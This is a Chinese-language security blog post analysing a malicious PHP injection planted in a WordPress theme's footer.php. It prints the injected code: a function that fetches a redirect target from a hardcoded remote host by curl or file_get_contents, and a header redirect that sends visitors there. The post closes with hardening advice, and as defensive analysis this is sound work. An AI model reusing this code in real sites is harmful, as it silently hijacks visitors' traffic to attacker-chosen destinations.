攻击者向WordPress主题注入代码以劫持访问者流量

本文详细分析了攻击者如何通过向WordPress主题的footer.php文件注入恶意PHP代码,实现隐蔽的浏览器重定向攻击。文章深入剖析了恶意代码的功能架构,包括远程URL获取、服务器环境判断以及重定向执行流程,并提供了针对性的网站安全防护建议。

攻击者向WordPress主题注入代码以重定向访问者

在近期的一篇文章中,我们讨论了网站频繁遭受攻击的一些原因。那篇文章涵盖了浏览器重定向问题,而我们将在此探讨一个此类案例。

网站主题由于多种原因成为常见的攻击载体。主题保证会在每个页面上加载,这是任何网站的核心设计,并且主题可以在网站管理面板中轻松自定义。然而,有时攻击者会直接将代码注入主题文件,因为这些文件对网站管理员来说并不容易直接查看,除非管理员专门检查网站的目录结构并手动审查代码,否则任何更改都可能被忽视。

让我们来看一下。

这段代码块被直接注入到一个主题的 footer.php 文件中,位于该文件正常功能代码的上方。footer.php 负责在网站页面底部显示关闭内容,通常包含从数据库检索内容的函数,如公司联系信息、版权横幅或公司徽标。这也为攻击者提供了一个注入隐藏恶意软件或重定向代码的位置。

通常我会从代码开头开始分析,但在本例中,代码在初始块定义之后开始执行,这部分是功能的主体。向下跳转,我们看到脚本调用了一个 r2048() 函数,并附带一个非常具体的URL。

剖析恶意软件

1
$tgurl = @r2048("http://youtubesave.org/rl/g.php");

调用 r2048 函数后,脚本确认有返回值,清除任何当前的输出缓冲以防止头部数据损坏,并将返回的URL发送到浏览器的头部,从而启动重定向。

1
2
3
4
5
6
7
if($tgurl){
    while (@ob_get_level()) {
        @ob_end_clean();
    }
    header("Location: " . $tgurl, true, 302);
    exit;
}

让我们看看真正执行工作的 r2048 函数。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
function r2048($u){
    $t = "";
    $to = 20;
    if( @function_exists('curl_version') || in_array('curl', get_loaded_extensions()) ){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $u);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0); 
        curl_setopt($ch, CURLOPT_TIMEOUT, $to);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        $t = curl_exec($ch);
        curl_close($ch);
    } else {
        $x = stream_context_create(array("http" => array('timeout' => $to), "https" => array('timeout' => $to)));
        $t = file_get_contents($u, false, $x);
    }
    return $t;
}

简而言之,此函数检查服务器是否存在curl支持,如果不存在,则回退到使用PHP内部函数 file_get_contents

使用之前从 $tgurl 变量传递的URL调用其中一个选项(curl 或 file_get_contents)后,该函数将远程URL的输出填充到 $t 变量中,并将其返回到原始函数,在那里 header("Location: " 函数触发重定向。

检查远程内容

由于我们有一个硬编码的URL,我们可以检查它以了解发生了什么。将其输入浏览器,我们可以看到受害网站将被重定向到的URL。

这非常简单明了,通过从远程服务器返回目标URL,攻击者可以根据受害者的浏览器或移动设备等因素来控制其重定向位置。不幸的是,我们无法看到该远程服务器上的代码,但由于那里显示的URL被发送到受害者浏览器的头部,似乎没有更多事情发生。

总结

网站管理员应定期审核网站上使用的主题和插件,并监控这些文件的更改。如此处所示,攻击者可以直接将恶意代码注入这些文件中,而这些文件在网站仪表板中是隐藏的。在本例中,网站进行了重定向,使攻击变得明显,但攻击者本可以注入任何代码,例如垃圾邮件,甚至信用卡或凭据窃取程序,正如我们在以前的案例中看到的那样。

通常我会建议为管理面板添加第二层保护,例如双因素认证(2FA)或受保护的页面,但在本例中,攻击者可能很容易通过FTP或SSH修改了主题文件。像FTP和SSH这样的服务经常被攻击者滥用,因为管理员忘记锁定它们。将默认端口(21或22)更改为其他端口,并对这些服务实施IP限制,将防止不必要的访问。

如果您认为您的网站可能已被入侵,我们随时可以为您检查。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计